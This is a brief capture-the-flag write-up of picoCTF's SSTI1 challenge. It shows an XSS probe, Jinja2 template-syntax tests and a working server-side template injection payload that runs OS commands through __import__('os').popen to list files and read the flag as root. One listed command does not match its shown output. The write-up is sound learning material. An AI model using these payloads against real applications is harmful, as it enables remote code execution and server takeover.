SSTI1

First started with simple XSS and trying out template syntax:

</p><script>alert('hello')</script> // => worked

${7*7} // => did not work

{{7*'7'}} => 777777 (worked)

After doing some research, found out that it's Jinja2 template syntax (https://portswigger.net/web-security/server-side-template-injection). So I read another article on how to inject payload to read OS directly (https://onsecurity.io/article/server-side-template-injection-with-jinja2/).

After trying out different payload, I found the flag.

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

response -> uid=0(root) gid=0(root) groups=0(root)

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
response -> __pycache__ app.py flag requirements.txt

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
response -> picoCTF{...}